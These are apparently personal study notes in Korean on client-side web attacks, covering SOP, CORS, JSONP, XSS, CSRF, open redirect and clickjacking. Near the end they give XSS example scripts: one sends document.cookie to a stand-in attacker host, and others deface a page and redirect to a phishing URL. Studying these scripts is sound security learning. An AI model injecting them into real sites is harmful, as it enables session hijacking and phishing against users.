보안 공부/웹 해킹

클라이언트 사이드 베이직 01

무무뭉? 2021. 8. 13. 00:17

:: intro

1. 웹 서버는 사용자를 식별하기 위해 보편적으로 쿠키와 세션을 사용한다.

 

공격 포인트:

사용자의 쿠키나 세션에 저장된 세션 아이디를 탈취해 사용자 권한을 얻거나

사용자의 브라우저에서 자바스크립트를 실행하는 등의 공격 행위를 한다. (사용자가 보낸 것처럼)

 

취약점 발생 이유:

웹 브라우저는 Stateful한 상태를 유지하기 위해 모든 HTTP 요청에 쿠키를 함께 보낸다.

 

::SOP

1. 웹 브라우저를 통해 대상 호스트에 요청 시 사용자의 정보(쿠키, 세션아이디 등)를 포함하고 있다.

 

공격 포인트:

외부 리소스를 불러오는 엘리먼트를 자바스크립트로 관리할 수 있다면 사용자의 동의 없이 해당 내용을 읽거나 변조할 수 있다. (iframe, img, video)

 

2. 웹 브라우저가 위와 같은 공격으로부터 사용자를 보호하기 위해 Same Origin Policy 정책을 만들었다. 서로 다른 오리진의 문서, 스크립트들의 상호작용을 제한한다.

3. 스케마와 포트 호스트 등 구성요소가 모두 일치해야 동이란 오리진이다.

 

::CORS

1. 개발 운영 등의 목적으로 다른 오리진들과 리소스를 공유해야 하는 상황이 있을 수 있다. 때문에 SOP가 적용된 상태에서도 서로 다른 오리진들끼리 리소스를 공유하는 방법이 존재한다.

2. postmessage : 메세지를 주고 받기 위한 이벤트 핸들러를 이용한다.

3. Jsonp : 스크립트 태그를 통해 외부 자바스크립트를 호출하면 현재 오리진에서 실행된다는 점을 이용한 방법. 스크립트 태그를 통해 다른 오리진의 리소스를 요청하고, 응답데이터를 현재 오리진의 콜백 함수에서 다루는 방식이다.

4. CORS : 다른 오리진이 허용하는 설정 등을 HTTP 헤더를 통해 확인한 후 허용하는 요청을 보내 리소스를 공유.

 

:: 방법

1. XSS : 공격자의 입력값이 자바 스크립트로 웹 브라우저에서 실행되는 취약점. 실행된 스크립트는 해당 사이트의 일부가 되어 SOP의 제약 없이 사이트의 구조를 변경하거나 임의 HTTP 요청을 보낼 수 있다.

2. CSRF : 비정상적으로 사용자의 의도와 무관하게 HTTP 요청을 보내는 것을 CSRF 공격이라고 한다. simple request나 HTML 엘리먼트는 SOP의 제약을 받지 않는다는 점을 이용한다.

3. open redirect : redirect 기능을 악용해 피싱사이트로 접속을 유도하거나, 다른 취약점을 연계하여 사용자를 공격

4. Click Hijacking : 공격자가 생성한 버튼, 이미지와 같은 엘리먼트를 정상적인 iframe 위에 겹쳐 올려 UI를 스푸핑해 사용자의 의도와는 다른 작업을 수행하게 하는 취약점입니다.

 

:: XSS

1. 임의의 악성 스크립트를 실행할 수 있으며 이를 통해 해당 웹 사이트의 사용자 쿠키 또는 세션을 탕취해 사용자의 권한을 얻거나 사용자의 페이지를 변조하는 등의 공격을 수행할 수 있다.

공격 포인트 : 

1. 입력 데이터에 대한 충분한 검증이 없어야한다.

2. 서버의 응답 데이터가 웹 브라우저 내 페이지에 출력시 충분한 검증 과정이 없어야 한다.

ex) 게시판 서비스 : 공격자의 악성 스크립트가 표현된 게시글이 검증이 이루어지지 않은 채 웹 서버에 업로드 되고 다른 사용자가 해당 게시글을 조회한다면 공격자의 악성 스크립트가 사용자의 웹브라우저에서 실행됩니다.

alert, prompt와 같은 메세지 창을 실행하여 XSS 취약점 공격에 대한 정보를 확인한다.

 

2. 자바스크립트는 사용자와의 상호작용 없이 사용자의 권한으로 정보를 조회하거나 변경하는 등의 요청을 주고 응답받는 것도 가능하다.

 

공격 포인트 :

공격자가 입력으로 script 태그를 전송해 사용자의 응답에 포함되면 공격자의 자바스크립트가 실행된다.

특정 상황에서 발생하는 on* 이벤트들을 사용하여 자바스크립트를 실행하기도 한다.

ex) 

쿠키 및 세션

<script>

alert("hello");

document.cookie;

alert(document.cookie);

document.cookie = "name=test;";

new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;

</script>

 

페이지 변조

<script>// 사용자의 페이지 정보에 접근.

document;// 사용자의 페이지에 데이터를 삽입.

document.write("Hacked By DreamHack !");</script>

 

위치 이동

<script>// 사용자의 위치를 변경.// 피싱 공격 등으로 사용됨.

location.href = "http://hacker.dreamhack.io/phishing"; // 새 창 열기

window.open("http://hacker.dreamhack.io/")</script>

 

 

:: XSS :: Stored XSS

 

 

:: XSS :: Reflected XSS